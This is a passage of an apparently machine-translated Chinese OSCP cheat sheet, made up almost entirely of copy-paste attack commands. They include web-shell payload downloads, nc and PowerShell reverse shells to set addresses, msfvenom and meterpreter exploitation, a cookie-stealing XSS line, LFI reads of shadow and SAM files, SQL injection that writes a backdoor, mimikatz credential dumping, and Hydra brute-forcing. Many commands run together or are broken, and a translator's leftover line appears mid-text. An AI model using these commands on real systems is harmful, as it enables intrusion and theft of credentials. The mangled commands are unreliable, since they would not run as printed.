[curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O /tmp/evil" http://$ip/files/sh.php

[curl -s --data "cmd=chmod 777 /tmp/evil" http://$ip/files/sh.php

curl -s --data "cmd=bash -c /tmp/evil" http://$ip/files/sh.php

**TFTP**

mkdir /tftp

atftpd --daemon --port 69 /tftp

cp /usr/share/windows-binaries/nc.exe /tftp/

**示例:从 Windows 主机操作:**

C:\Users\Offsec>tftp -i $ip get nc.exe

**FTP**

apt-get update && apt-get install pure-ftpd

#!/bin/bashgroupadd ftpgroupuseradd -g ftpgroup -d /dev/null -s /etc ftpuserpure-pw useradd offsec -u ftpuser -d /ftphomepure-pw mkdbcd /etc/pure-ftpd/auth/ln -s ../conf/PureDB 60pdbmkdir -p /ftphomechown -R ftpuser:ftpgroup /ftphome/

/etc/init.d/pure-ftpd restart

**打包文件**

Ultimate Packer for eXecutables

upx -9 nc.exe

exe2bat - 将 EXE 转换为文本文件,可以复制粘贴

locate exe2bat

wine exe2bat.exe nc.exe nc.txt

**Veil - Evasion Framework**\- https://github\.com/Veil\-Framework/Veil\-Evasion

apt-get -y install git

git clone https://github.com/Veil-Framework/Veil-Evasion.git

cd Veil-Evasion/

cd setup

setup.sh -c

**权限提升**

密码重用是你的好帮手。OSCP 实验室非常贴近实际,用户会在不同的服务,甚至不同的机器上重用密码。保持一份已破解密码的列表,并在遇到新机器时测试这些密码。

**Linux 权限提升**

**事实上的 Linux 权限提升指南**\- 一份更为详细的 Linux 枚举和权限提升指南:

[https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)

**尝试明显的方式**\- 也许用户是 root 或可以通过 sudo 切换到 root:

id

sudo su

以下是我学会用于执行 Linux 枚举和权限提升的命令:

**哪些用户可以登录到此机器?(他们是否使用用户名作为密码?)**

grep -vE "nologin|false" /etc/passwd

**我们使用的是什么内核版本?我们有这个版本的内核漏洞吗?**

uname -a

searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"

**有哪些应用程序有活动连接?**

netstat -tulpn

**哪些服务以 root 身份运行?**

ps aux | grep root

**哪些文件以 root 身份运行 / SUID / GUID?**

find / -perm +2000 -user root -type f -printfind / -perm -1000 -type d 2>/dev/null # Sticky bit - 只有目录的所有者或文件的所有者可以在此处删除或重命名。find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - 以组身份运行,而不是启动它的用户身份。find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - 以所有者身份运行,而不是启动它的用户身份。find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID 或 SUIDfor i in locate -r "bin$"; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; donefind / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} ; 2>/dev/null

**哪些文件夹是全员可写的?**

find / -writable -type d 2>/dev/null # 全员可写的文件夹find / -perm -222 -type d 2>/dev/null # 全员可写的文件夹find / -perm -o w -type d 2>/dev/null # 全员可写的文件夹find / -perm -o x -type d 2>/dev/null # 全员可执行的文件夹find / ( -perm -o w -perm -o x ) -type d 2>/dev/null # 全员可写且可执行的文件夹

有一些脚本可以自动化Linux枚举过程:

Google是我最喜欢的Linux内核漏洞搜索工具。许多这些自动化检查器都缺少重要的内核漏洞,这可能在你的OSCP课程中造成非常令人沮丧的盲点。

LinuxPrivChecker.py - 我最喜欢的自动化Linux权限枚举检查器 -

https://www.securitysift.com/download/linuxprivchecker.py

LinEnum - (最近更新)

https://github.com/rebootuser/LinEnum

linux-exploit-suggester(最近更新)

https://github.com/mzet-/linux-exploit-suggester

Highon.coffee Linux本地枚举 - 很棒的枚举脚本!

wget https://highon.coffee/downloads/linux-local-enum.sh

Linux权限漏洞建议器(旧版,已有多年未更新)

https://github.com/PenturaLabs/Linux\_Exploit\_Suggester

Linux后渗透枚举和漏洞检查工具

https://github.com/reider-roque/linpostexp

### 常用的内核漏洞

**CVE-2010-2959**\- 'CAN BCM' 提权漏洞 \- Linux内核 < 2\.6\.36\-rc1(Ubuntu 10\.04 / 2\.6\.32)

https://www.exploit-db.com/exploits/14814/

wget -O i-can-haz-modharden.c http://www.exploit-db.com/download/14814$ gcc i-can-haz-modharden.c -o i-can-haz-modharden$ ./i-can-haz-modharden[+] 启动root shell!

iduid=0(root) gid=0(root)

**CVE-2010-3904**\- Linux RDS漏洞 \- Linux内核 <= 2\.6\.36\-rc8

https://www.exploit-db.com/exploits/15285/

**CVE-2012-0056**\- Mempodipper \- Linux内核 2\.6\.39 < 3\.2\.2(Gentoo / Ubuntu x86/x64)

https://git.zx2c4.com/CVE-2012-0056/about/

Linux CVE 2012-0056

wget -O exploit.c http://www.exploit-db.com/download/18411gcc -o mempodipper exploit.c./mempodipper

**CVE-2016-5195**\- Dirty Cow \- Linux提权漏洞 \- Linux内核 <= 3\.19\.0\-73\.8

https://dirtycow.ninja/

首次出现于2.6.22(2007年发布),并在2016年10月18日修复。

**作为非root用户运行命令**

sudo -u haxzor /usr/bin/vim /etc/apache2/sites-available/000-default.conf

**添加用户或更改密码**

/usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzorecho thePassword | passwd haxzor --stdin

### Linux中的本地提权漏洞

**SUID(设置用户ID执行)**

通常需要SUID C二进制文件来以超级用户身份生成shell,你可以根据需要更新UID/GID和shell。

以下是各种shell的快速复制粘贴示例:

**SUID C Shell for /bin/bash**

int main(void){setresuid(0, 0, 0);system("/bin/bash");}

**SUID C Shell for /bin/sh**

int main(void){setresuid(0, 0, 0);system("/bin/sh");}

**构建SUID Shell二进制文件**

gcc -o suid suid.c

对于32位:

gcc -m32 -o suid suid.c

**从有限的shell创建并编译SUID(无文件传输)**

echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem("/bin/sh");\n}" >privsc.cgcc privsc.c -o privsc

如果你能让root用户运行以下命令,可以使用该命令将`www-data`用户添加到Root SUDO组,并且无需密码:

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

如果你发现有命令是由root用户执行的,你可能可以修改系统的PATH环境变量,替换为执行你自己的命令。在下面的例子中,`ssh`被反向shell SUID替代,连接到10.10.10.1的4444端口。

set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/sshchmod +x ssh

### SearchSploit

searchsploit –uncsearchsploit apache 2.2searchsploit "Linux Kernel"searchsploit linux 2.6 | grep -i ubuntu | grep localsearchsploit slmail

### 内核版本3.0.0的漏洞建议

./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0

### 预编译的Linux内核漏洞 - 如果目标机器没有安装GCC非常有用!

https://www.kernel-exploits.com/

### 获取root密码

cat /etc/shadow | grep root

### 查找并显示proof.txt或flag.txt - LOOT!

cat find / -name proof.txt -print

### Windows 提权

Windows提权资源 [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)

Metasploit Meterpreter 提权指南 [https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/](https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/)

尝试显而易见的方法 - 也许用户是SYSTEM或者已经是管理员组的一部分:

whoaminet user "%username%"

尝试使用meterpreter的`getsystem`命令 - 虽然很少有效,但值得一试。

meterpreter > getsystem

### 不需要上传文件的Windows提权基本信息收集(基于fuzzy security教程和windows\_privesc\_check.py)

将以下内容复制粘贴到Kali中的远程Windows shell中,以生成快速报告:

@echo --------- BASIC WINDOWS RECON --------- > report.txttimeout 1net config Workstation >> report.txttimeout 1systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >> report.txttimeout 1hostname >> report.txttimeout 1net users >> report.txttimeout 1ipconfig /all >> report.txttimeout 1route print >> report.txttimeout 1arp -A >> report.txttimeout 1netstat -ano >> report.txttimeout 1netsh firewall show state >> report.txttimeout 1netsh firewall show config >> report.txttimeout 1schtasks /query /fo LIST /v >> report.txttimeout 1tasklist /SVC >> report.txttimeout 1net start >> report.txttimeout 1DRIVERQUERY >> report.txttimeout 1reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txttimeout 1reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txttimeout 1dir /s pass== cred== vnc== .config>> report.txttimeout 1findstr /si password *.xml *.ini *.txt >> report.txttimeout 1reg query HKLM /f password /t REG_SZ /s >> report.txttimeout 1reg query HKCU /f password /t REG_SZ /s >> report.txttimeout 1dir "C:"timeout 1dir "C:\Program Files" >> report.txttimeout 1dir "C:\Program Files (x86)"timeout 1dir "C:\Users"timeout 1dir "C:\Users\Public"timeout 1echo REPORT COMPLETE!

### Windows Server 2003 和 IIS 6.0 WEBDAV 漏洞利用

[http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html](http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp > aspshell.txt

cadavar http://$ipdav:/> put aspshell.txtUploading aspshell.txt to /aspshell.txt': Progress: [=============================>] 100.0% of 38468 bytes succeeded. dav:/> copy aspshell.txt aspshell3.asp;.txt Copying /aspshell3.txt' to `/aspshell3.asp%3b.txt': succeeded.dav:/> exit

msf > use exploit/multi/handlermsf exploit(handler) > set payload windows/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST 1.2.3.4msf exploit(handler) > set LPORT 80msf exploit(handler) > set ExitOnSession falsemsf exploit(handler) > exploit -j

curl http://$ip/aspshell3.asp;.txt

[] Started reverse TCP handler on 1.2.3.4:443[] Starting the payload handler...[] Sending stage (957487 bytes) to 1.2.3.5[] Meterpreter session 1 opened (1.2.3.4:443 -> 1.2.3.5:1063) at 2017-09-25 13:10:55 -0700

### Windows提权漏洞通常使用Python编写。因此,需要使用pyinstaller.py将其编译成可执行文件,并将其上传到远程服务器。

pip install pyinstallerwget -O exploit.py http://www.exploit-db.com/download/31853python pyinstaller.py --onefile exploit.py

### Windows Server 2003 和 IIS 6.0 提权利用(使用冒充):

[https://www.exploit-db.com/exploits/6705/](https://www.exploit-db.com/exploits/6705/)

[https://github.com/Re4son/Churrasco](https://github.com/Re4son/Churrasco)

c:\Inetpub>churrascochurrasco/churrasco/-->Usage: Churrasco.exe [-d] "command to run"

c:\Inetpub>churrasco -d "net user /add "c:\Inetpub>churrasco -d "net localgroup administrators /add"c:\Inetpub>churrasco -d "NET LOCALGROUP "Remote Desktop Users" /ADD"

### Windows MS11-080

[http://www.exploit-db.com/exploits/18176/](http://www.exploit-db.com/exploits/18176/)

python pyinstaller.py --onefile ms11-080.pymx11-080.exe -O XP

### Powershell 提权漏洞

你可能会发现一些Windows提权漏洞是使用Powershell编写的。你可能没有交互式shell来输入powershell提示符。一旦将Powershell脚本上传到服务器,以下是一个快速的单行命令,用于从基础的cmd.exe shell运行powershell命令:

**MS16-032**[https://www.exploit-db.com/exploits/39719/](https://www.exploit-db.com/exploits/39719/)

powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"

### Powershell 提权工具

[https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)

### Windows Run As

在Linux中,切换用户使用`su`命令非常简单。然而,Windows中没有等效的命令。这里有3种在Windows中以不同用户身份运行命令的方法。

以下是该内容的翻译:

### Sysinternals psexec

Sysinternals psexec 是一个便捷的工具,用于在远程或本地服务器上以特定用户身份运行命令,只要你知道他们的用户名和密码。以下示例使用 netcat for Windows 和 Psexec(在 64 位系统上)从 Windows 服务器创建一个反向 shell 到我们的 Kali 主机:

C:>psexec64 \COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"

PsExec v2.2 - 执行远程进程版权所有 (C) 2001-2016 Mark RussinovichSysinternals - www.sysinternals.com

### Runas.exe

Runas.exe 是一个方便的 Windows 工具,允许你以另一个用户的身份运行程序,只要你知道他们的密码。以下示例使用 netcat for Windows 和 Runas.exe 从 Windows 服务器创建一个反向 shell 到我们的 Kali 主机:

C:>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"Enter the password for Test:Attempting to start nc.exe as user "COMPUTERNAME\Test" ...

### PowerShell

PowerShell 也可以用来以另一个用户身份启动进程。以下简单的 PowerShell 脚本将以指定的用户名和密码运行一个反向 shell:

$username = ''$password = ''$securePassword = ConvertTo-SecureString $password -AsPlainText -Force$credential = New-Object System.Management.Automation.PSCredential $username, $securePasswordStart-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public

然后使用 PowerShell 执行此脚本:

powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"

### Windows 服务配置查看器

检查服务中的配置错误,这些错误可能导致特权提升。你可以用自己的可执行文件替换现有的,并让 Windows 以特权用户身份执行你想要的任何代码。

icacls scsiaccess.exe

scsiaccess.exeNT AUTHORITY\SYSTEM:(I)(F)BUILTIN\Administrators:(I)(F)BUILTIN\Users:(I)(RX)APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)Everyone:(I)(F)

### 使用 C 编译自定义添加用户命令

root@kali:~# cat useradd.c#include /* system, NULL, EXIT_FAILURE */int main (){int i;i=system ("net localgroup administrators low /add");return 0;}

i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c

### 组策略首选项(GPP)

在现代域环境中,一个常见且有用的配置错误是未保护的 Windows GPP 设置文件。

映射域控制器 SYSVOL 共享:

net use z:\dc01\SYSVOL

找到 GPP 文件:`Groups.xml`

dir /s Groups.xml

查看文件内容,查找密码:

type Groups.xml

使用 GPP Decrypt 解密:

gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB

### 查找并显示 proof.txt 或 flag.txt - 获取战利品!

#meterpreter > run post/windows/gather/win_privs cd\ & dir /b /s proof.txt type c:\pathto\proof.txt``

客户端攻击MS12-037 - Internet Explorer 8 修复了 Col Span IDwget -O exploit.html http://www.exploit-db.com/download/24017service apache2 start

JAVA 签名 JAR 客户端攻击echo '' > /var/www/html/java.html用户必须点击弹出的“运行”按钮。

Linux 客户端 Shellhttps://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

设置客户端 Exploit

替换 Shellcode

将后门 Shell 注入 Plink.exebackdoor-factory -f /usr/share/windows-binaries/plink.exe -H $ip -P 4444 -s reverse_shell_tcp

Web 攻击Web Shag Web 应用漏洞评估平台webshag-gui

Web Shellhttps://tools.kali.org/maintaining-access/webshellsls -l /usr/share/webshells/

生成一个 PHP 后门(生成)并用给定密码(s3cr3t)保护weevely generate s3cr3tweevely http://$ip/weevely.php s3cr3t

Java 签名 Applet 攻击

HTTP / HTTPS Web 服务器枚举

OWASP Dirbuster

nikto -h $ip

Iceweasel 必备插件Cookies Manager https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/Tamper Datahttps://addons.mozilla.org/en-US/firefox/addon/tamper-data/

跨站脚本攻击 (XSS)重大影响,例如盗取 Cookie 和认证绕过,将受害者的浏览器重定向到恶意 HTML 页面等。

浏览器重定向和 IFRAME 注入

盗取 Cookie 和会话信息

new image().src="http://$ip/bogus.php?output="+document.cookie;

\`\`\`

`nc -nlvp 80`

- - -

**文件包含漏洞**

本地(LFI)和远程(RFI)文件包含漏洞通常出现在编写不良的 PHP 代码中。

**fimap**\- 有一个名为 fimap 的 Python 工具,可以用来自动化利用 PHP 中发现的 LFI/RFI 漏洞(类似于 sqlmap 用于 LFI):

[https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)

**通过 phpinfo() 获取 Shell**

fimap + phpinfo() Exploit - 如果存在 phpinfo() 文件,通常可以获得一个 shell。如果你不知道 phpinfo 文件的位置,可以使用 fimap 来探测,或者使用像 OWASP DirBuster 这样的工具。

对于本地文件包含,检查 PHP 代码中的 `include()`函数。

include("lang/".$_COOKIE['lang']);include($_GET['page'].".php");

**LFI - 使用 base64 编码和解码文件**

curl -s"http://$ip/?page=php://filter/convert.base64-encode/resource=index"| grep -e '[^\ ]\{40,\}' | base64 -d

**LFI - 使用 base64 编码下载文件**

http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php

**LFI Linux 文件**:

`/etc/issue`

`/proc/version`

`/etc/profile`

`/etc/passwd`

`/etc/shadow`

`/root/.bash_history`

`/var/log/dmessage`

`/var/mail/root`

`/var/spool/cron/crontabs/root`

**LFI Windows 文件**:

`%SYSTEMROOT%\repair\system`

`%SYSTEMROOT%\repair\SAM`

`%WINDIR%\win.ini`

`%SYSTEMDRIVE%\boot.ini`

`%WINDIR%\Panther\sysprep.inf`

`%WINDIR%\system32\config\AppEvent.Evt`

**LFI OSX 文件**:

`/etc/fstab`

`/etc/master.passwd`

`/etc/resolv.conf`

`/etc/sudoers`

`/etc/sysctl.conf`

**LFI - 下载密码文件**

http://$ip/index.php?page=/etc/passwd

http://$ip/index.php?file=../../../../etc/passwd

**LFI - 使用过滤绕过技术下载密码文件**

http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

**本地文件包含 - 在 PHP 5.3 以下版本中,我们可以通过空字节终止**

GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00

**污染日志文件**

**对于远程文件包含,检查 PHP 代码中没有经过清洗并传递给 PHP `include`函数的内容,并且 `php.ini`文件必须配置为允许远程文件**

`/etc/php5/cgi/php.ini`\- "allow\_url\_fopen" 和 "allow\_url\_include" 都设置为 "on"

include($_REQUEST["file"].".php");

**远程文件包含**

http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt

- - -

**数据库漏洞**

**玩转SQL语法**

我发现一个很棒的工具,可以用来玩转各种数据库类型(MSSQL Server, MySQL, PostgreSQL, Oracle)的SQL语法——SQL Fiddle:

http://sqlfiddle.com

另一个网站是rextester.com:

http://rextester.com/l/mysql\_online\_compiler

**检测SQL注入漏洞**

大多数现代自动化扫描工具使用时间延迟技术来检测SQL注入漏洞。即使是盲注SQL注入漏洞,这种方法也可以帮助检测出漏洞,尽管盲注不会返回任何数据。当服务器响应时间变得非常长时,你就知道SQL注入正在起作用。我在每个注入语句的末尾添加了一个行注释,以防注入点之后还有其他SQL代码。

**MSSQL Server SQL注入时间延迟检测:给MSSQL Server查询添加30秒延迟**

原始查询:

SELECT * FROM products WHERE name='Test';

注入值:

'; WAITFOR DELAY '00:00:30'; --

结果查询:

SELECT * FROM products WHERE name='Test'; WAITFOR DELAY '00:00:30'; --

**MySQL注入时间延迟检测:给MySQL查询添加30秒延迟**

原始查询:

SELECT * FROM products WHERE name='Test';

注入值:

'-SLEEP(30); #

结果查询:

SELECT * FROM products WHERE name='Test'-SLEEP(30); #

**PostgreSQL注入时间延迟检测:给PostgreSQL查询添加30秒延迟**

原始查询:

SELECT * FROM products WHERE name='Test';

注入值:

'; SELECT pg_sleep(30); --

结果查询:

SELECT * FROM products WHERE name='Test'; SELECT pg_sleep(30); --

**从Web应用程序MySQL数据库中获取密码哈希(名为“Users”) - 一旦你拥有MySQL根用户名和密码**

mysql -u root -p -h $ipuse "Users";show tables;select * from users;

**认证绕过**

name='wronguser' or 1=1;name='wronguser' or 1=1 LIMIT 1;

**枚举数据库**

1. **Verbose错误消息?**

http://$ip/comment.php?id=738)'

2. **检查排序**

http://$ip/comment.php?id=738 order by 1

3. **联合查询**

http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6

4. **确定MySQL版本**

http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6

5. **当前用于数据库连接的用户**

http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6

6. **枚举数据库表和列结构**

http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables

7. **定位数据库中的“users”表**

http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'

8. **提取用户名和密码**

http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users

9. **创建后门**

http://$ip/comment.php?id=738 union all select 1,2,3,4,"",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'

**SQLMap 示例**

1. **爬取链接**

sqlmap -u http://$ip --crawl=1

2. **爬取更多链接并使用表单**

sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3

3. **SQLMap搜索数据库(针对疑似GET SQL注入)**

sqlmap –u http://$ip/blog/index.php?search –dbs

4. **SQLMap从数据库oscommerce中导出表(GET SQL注入)**

sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumps

5. **SQLMap GET参数命令**

sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5

6. **SQLMap Post用户名参数**

sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --dump-all

7. **SQLMap OS Shell**

sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshell

sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --os-shell

8. **自动化SQLMap扫描**

sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php"

1. **扫描URL进行联合查询和基于错误的注入,使用MySQL后端和随机用户代理,同时进行数据库转储**

sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump

2. **扫描URL中的表单,获取数据库信息**

sqlmap -o -u http://$ip/index.php --forms --dbs

3. **扫描特定表单进行注入**

sqlmap -o -u "http://$ip/form/" --forms

4. **检查表单中的注入点**

sqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump

**枚举数据库**

1. **枚举数据库**

sqlmap --dbms=mysql -u "$URL" --dbs

2. **枚举特定数据库中的表**

sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables

3. **从特定数据库和表中导出数据**

sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump

4. **指定要利用的参数**

sqlmap --dbms=mysql -u "http://www.example.com/param1=value1¶m2=value2" --dbs -p param2

5. **在'友好' URL中指定要利用的参数(利用param1)**

sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2" --dbs

6. **获取操作系统Shell**

sqlmap --dbms=mysql -u "$URL" --os-shell

7. **获取SQL Shell**

sqlmap --dbms=mysql -u "$URL" --sql-shell

8. **执行SQL查询**

sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"

9. **使用Tor Socks5代理**

sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs

- - -

**NoSQLMap 示例**

你可能会在OSCP过程中遇到像MongoDB这样的NoSQL实例(例如:/cgi-bin/mongo/2.2.3/dbparse.py)。NoSQLMap可以帮助你自动化NoSQL数据库枚举。

**NoSQLMap安装**

git clone https://github.com/codingo/NoSQLMap.gitcd NoSQLMap/lspip install couchdbpip install pbkdf2pip install ipcalcpython nosqlmap.py

你通常可以使用格式错误的NoSQL查询生成MongoDB的异常转储消息,例如:

a'; return this.a != 'BadData’'; var dummy='!'

**密码攻击**

**AES 解密**

[http://aesencryption.net/](http://aesencryption.net/)

**将多个网页转换为密码字典**

for x in 'index' 'about' 'post' 'contact'; docurl http://$ip/$x.html | html2markdown | tr -s ' ' '\n' >> webapp.txt ;done

或者将HTML转换为字典文件

html2dic index.html.out | sort -u > index-html.dict

**默认用户名和密码**

1. **CIRT**

[http://www.cirt.net/passwords](http://www.cirt.net/passwords)

2. **政府安全 - 网络设备的默认登录名和密码**

[http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php](http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php)

3. **Virus.org**

[http://www.virus.org/default-password/](http://www.virus.org/default-password/)

4. **默认密码**

[http://www.defaultpassword.com/](http://www.defaultpassword.com/)

**暴力破解**

1. **Nmap 暴力破解脚本**

[https://nmap.org/nsedoc/categories/brute.html](https://nmap.org/nsedoc/categories/brute.html)

2. **Nmap 通用自动检测暴力破解攻击**

nmap --script brute -Pn

3. **MySQL Nmap 暴力破解攻击**

nmap --script=mysql-brute $ip

**字典文件**

1. **Kali中的单词列表**

cd /usr/share/wordlists

**密钥空间暴力破解**

1. **生成6位数字和字母的密码**

crunch 6 6 0123456789ABCDEF -o crunch1.txt

2. **生成4位大小写字母混合密码**

crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha

3. **生成8位带有特殊字符的密码**

crunch 8 8 -t ,@@^^%%%

**Pwdump 和 Fgdump - 安全账户管理器 (SAM)**

1. **pwdump.exe**\- 尝试提取密码哈希值。

2. **fgdump.exe**\- 尝试在提取密码哈希和缓存凭证之前,终止本地杀毒软件。

**Windows凭证编辑器 (WCE)**

允许进行多种攻击以获取明文密码和哈希值。用法:

wce -w

**Mimikatz**

Mimikatz 可以从内存中提取明文密码、哈希值、PIN码和Kerberos票证。Mimikatz 还可以执行 pass-the-hash、pass-the-ticket,或构建黄金票证。

[GitHub链接](https://github.com/gentilkiwi/mimikatz)

从Metasploit Meterpreter(必须具有系统级访问权限)使用Mimikatz:

meterpreter> load mimikatzmeterpreter> help mimikatzmeterpreter> msvmeterpreter> kerberosmeterpreter> mimikatz_command -f samdump::hashesmeterpreter> mimikatz_command -f sekurlsa::searchPasswords

**密码剖析**

1. **cewl**可以从网页生成密码列表:

cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt

**密码变异**

1. **John the Ripper**可以变异密码列表:

nano /etc/john/john.confjohn --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt

**Medusa**

1. **Medusa**,对一个受htaccess保护的Web目录发起攻击:

medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10

**Ncrack**

1. **ncrack**(由Nmap的开发者制作)可以暴力破解RDP:

ncrack -vv --user offsec -P password-file.txt rdp://$ip

**Hydra**

1. **Hydra**针对SNMP进行暴力破解:

hydra -P password-file.txt -v $ip snmp

2. **Hydra**使用已知用户和rockyou密码列表对FTP进行暴力破解:

hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp

3. **Hydra**使用用户和密码列表对SSH进行暴力破解:

hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

4. **Hydra**使用已知密码和用户名列表对SSH进行暴力破解:

hydra -v -V -u -L users.txt -p "" -t 1 -u $ip ssh

5. **Hydra**针对端口22上已知用户名进行SSH暴力破解:

hydra $ip -s 22 ssh -l -P big_wordlist.txt

6. **Hydra**对POP3进行暴力破解:

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

7. **Hydra**对SMTP进行暴力破解:

hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

8. **Hydra**使用字典攻击HTTP GET 401登录:

hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

9. **Hydra**使用rockyou字典对Windows远程桌面进行暴力破解:

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip

10. **Hydra**使用rockyou字典对SMB用户进行暴力破解:

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb

11. **Hydra**对WordPress管理员登录进行暴力破解:

hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

**密码哈希攻击**

**在线密码破解**

1. [Crackstation](https://crackstation.net/)

2. [InsidePro Finder](http://finder.insidepro.com/)

**Hashcat**

为了让GPU破解在Kali Linux虚拟机上工作,我需要安装新驱动程序,并且还需要使用 `--force`参数。

安装所需的驱动程序:

apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev

apt-get install pocl-opencl-icd

**破解Linux哈希(/etc/shadow文件)**

1. **500**\| md5crypt $1$,MD5(Unix)

2. **3200**\| bcrypt $2\*$,Blowfish(Unix)

3. **7400**\| sha256crypt $5$,SHA256(Unix)

4. **1800**\| sha512crypt $6$,SHA512(Unix)

**破解Windows哈希**

1. **3000**\| LM

2. **1000**\| NTLM

**破解常见应用程序哈希**

1. **900**\| MD4(原始哈希)

2. **0**\| MD5(原始哈希)

3. **5100**\| Half MD5(原始哈希)

4. **100**\| SHA1(原始哈希)

5. **10800**\| SHA\-384(原始哈希)

6. **1400**\| SHA\-256(原始哈希)

7. **1700**\| SHA\-512(原始哈希)

**创建 .hash 文件进行破解**

例如:创建一个包含所有要破解的哈希的文件 `puthasheshere.hash`,文件内容如下:

$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/

**Hashcat 示例:使用 rockyou 破解 Linux md5crypt 密码**

hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists/rockyou.txt

**WordPress 示例哈希**:

`$P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/`

**WordPress 明文密码**: `test`

**Hashcat 示例:使用 rockyou 破解 WordPress 密码**

